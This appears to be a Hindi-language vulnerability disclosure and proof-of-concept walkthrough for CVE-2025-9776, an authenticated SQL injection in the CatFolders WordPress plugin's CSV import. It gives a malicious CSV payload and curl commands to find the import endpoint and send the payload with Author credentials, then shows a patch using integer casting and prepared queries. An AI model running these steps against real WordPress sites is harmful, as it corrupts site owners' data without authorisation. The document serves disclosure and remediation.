
CVE-2025-9776 — CatFolders WordPress Plugin: Authenticated SQL Injection via CSV Import | POC + Walkthrough
कीवर्ड: CVE-2025-9776, CatFolders WordPress भेद्यता, SQL इंजेक्शन WordPress, प्रमाणित SQL इंजेक्शन, WordPress सुरक्षा, CSV आयात भेद्यता, WordPress प्लगइन शोषण, CWE-89, WordPress डेटाबेस हमला, मीडिया लाइब्रेरी भेद्यता, WordPress CVE 2025
CatFolders WordPress प्लगइन में एक प्रमाणित SQL इंजेक्शन भेद्यता पाई गई है जो Author-स्तर के उपयोगकर्ताओं को दुर्भावनापूर्ण CSV आयात के माध्यम से डेटाबेस क्वेरी में हेरफेर करने की अनुमति देती है।
खोजकर्ता: Kai Aizen (SnailSploit) प्रकाशित: 2025 CVSS स्कोर: 6.5 (मध्यम) CWE: CWE-89 - SQL इंजेक्शन
CatFolders – Tame Your WordPress Media Library by Category में CSV आयात कार्यक्षमता में एक प्रमाणित SQL इंजेक्शन भेद्यता शामिल है। उपयोगकर्ता द्वारा प्रदान की गई CSV से attachments कॉलम को एक सूची में विभाजित किया जाता है और सीधे FolderModel::set_attachments() को भेजा जाता है, जो उन मानों को उचित स्वच्छता या पैरामीटराइजेशन के बिना कच्चे SQL IN (...) खंडों में जोड़ता है।
यह भेद्यता प्रमाणित हमलावरों को Author-स्तर के विशेषाधिकारों के साथ निम्नलिखित की अनुमति देती है:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
भेद्यता CSV आयात वर्कफ़्लो में मौजूद है:
फ़ाइल: includes/Rest/Controllers/ImportController.php
import_csv विधि प्रति-फ़ील्ड स्वच्छता के बिना अपलोड की गई CSV को पार्स करती हैrestore_folders() कॉल करता है:FolderModel::set_attachments(
$new_folder['id'],
explode(',', $folder['attachments']),
false
);
फ़ाइल: includes/Models/FolderModel.php
set_attachments() स्ट्रिंग संयोजन का उपयोग करके कच्चा SQL बनाता है:'raw' => 'post_id IN (' . $attachmentIds . ')'
Author-स्तर के विशेषाधिकारों (upload_files क्षमता) वाला हमलावर CSV आयात एंडपॉइंट के माध्यम से दुर्भावनापूर्ण SQL इंजेक्ट कर सकता है:
दुर्भावनापूर्ण CSV पेलोड:
id,name,attachments
1,Test Folder,"1) OR 1=1--"
परिणामी असुरक्षित क्वेरी:
SELECT folder_id FROM wp_catf_folder_posts
WHERE post_id IN (1) OR 1=1--)
यह IN(...) खंड से बाहर निकलता है और क्वेरी के अर्थ को बदल देता है, संभावित रूप से सभी पंक्तियों को प्रभावित करता है।
curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'
सामान्य परिणाम: /catf/v1/import-csv
catf_inject.csv नामक फ़ाइल बनाएँ:
id,name,attachments
1,Malicious Folder,"1) OR 1=1--"
NS="/catf/v1" # खोजे गए नेमस्पेस से बदलें
curl -i \
-u 'author_user:APPLICATION_PASSWORD' \
-F "file=@catf_inject.csv;type=text/csv" \
-X POST "https://target.site/wp-json${NS}/import-csv"
अपेक्षित प्रतिक्रिया:
{ "success": true }
सर्वर निर्माण और निष्पादित करता है:
SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)
यह इच्छित से अधिक व्यापक DELETE/INSERT संचालन कर सकता है, अक्सर पूरे डेटाबेस में फ़ोल्डर-अटैचमेंट संबंधों को मिटा देता है।
भेद्यता को सुरक्षित रूप से देखने के लिए स्टैंडअलोन SQLite सिमुलेशन चलाएँ:
python3 poc/catfolders_sql_poc.py
यह असुरक्षित क्वेरी प्रिंट करता है और दिखाता है कि कैसे एक दुर्भावनापूर्ण टोकन सभी पंक्तियाँ लौटाता है, जबकि पैरामीटराइज़्ड संस्करण इसे ठीक से अस्वीकार करता है।
तत्काल कार्रवाई आवश्यक:
दो न्यूनतम सख्तीकरण चरण:
- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+ FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }
set_attachments() के अंदर पूर्णांक लागू करें $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );
सभी कच्चे SQL संयोजन को WordPress के $wpdb->prepare() का उपयोग करके पैरामीटराइज़्ड क्वेरी से बदलें:
$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
"SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
...$imgIds
);
इसके अतिरिक्त:
एक पूर्ण पैच patch/catfolders_fix.patch में उपलब्ध है
CVE-2025-9776/
├── README.md # यह फ़ाइल
├── poc/
│ ├── catf_inject.csv # दुर्भावनापूर्ण CSV पेलोड
│ └── catfolders_sql_poc.py # सुरक्षित SQLite सिमुलेशन
└── patch/
└── catfolders_fix.patch # अनुशंसित सुधार
शोधकर्ता: Kai Aizen (SnailSploit)
प्रकटीकरण प्रक्रिया: Wordfence बग बाउंटी प्रोग्राम के माध्यम से समन्वित
⚠️ महत्वपूर्ण अस्वीकरण
यह प्रमाण-अवधारणा विशेष रूप से रक्षात्मक अनुसंधान और शैक्षिक उद्देश्यों के लिए प्रदान की गई है।
कंप्यूटर सिस्टम तक अनधिकृत पहुंच निम्नलिखित कानूनों के तहत अवैध है:
अपने जोखिम पर उपयोग करें। शोधकर्ता और SnailSploit इस जानकारी के दुरुपयोग के लिए कोई देयता नहीं मानते हैं।
इस भेद्यता के बारे में प्रश्नों या अतिरिक्त जानकारी के लिए:
सुरक्षित रहें और अपने WordPress इंस्टॉलेशन को अपडेट रखें!
अंतिम अद्यतन: 13 अक्टूबर, 2025
इस परियोजना का पूर्ण लेखन, पद्धति और संबंधित अनुसंधान यहाँ रहता है:
https://snailsploit.com/security-research/cves/cve-2025-9776/
Kai Aizen द्वारा निर्मित — स्वतंत्र आक्रामक सुरक्षा शोधकर्ता।
snailsploit.com · अनुसंधान · फ्रेमवर्क · GitHub · LinkedIn · ResearchGate · X/Twitter
एक ही हमला। अलग सब्सट्रेट।
| मीट्रिक | मान |
|---|
| हमला वेक्टर | नेटवर्क (AV:N) |
| हमला जटिलता | कम (AC:L) |
| आवश्यक विशेषाधिकार | कम (PR:L) - Author+ |
| उपयोगकर्ता सहभागिता | कोई नहीं (UI:N) |
| दायरा | अपरिवर्तित (S:U) |
| गोपनीयता | कोई नहीं (C:N) |
| अखंडता | कम (I:L) |
| उपलब्धता | कम (A:L) |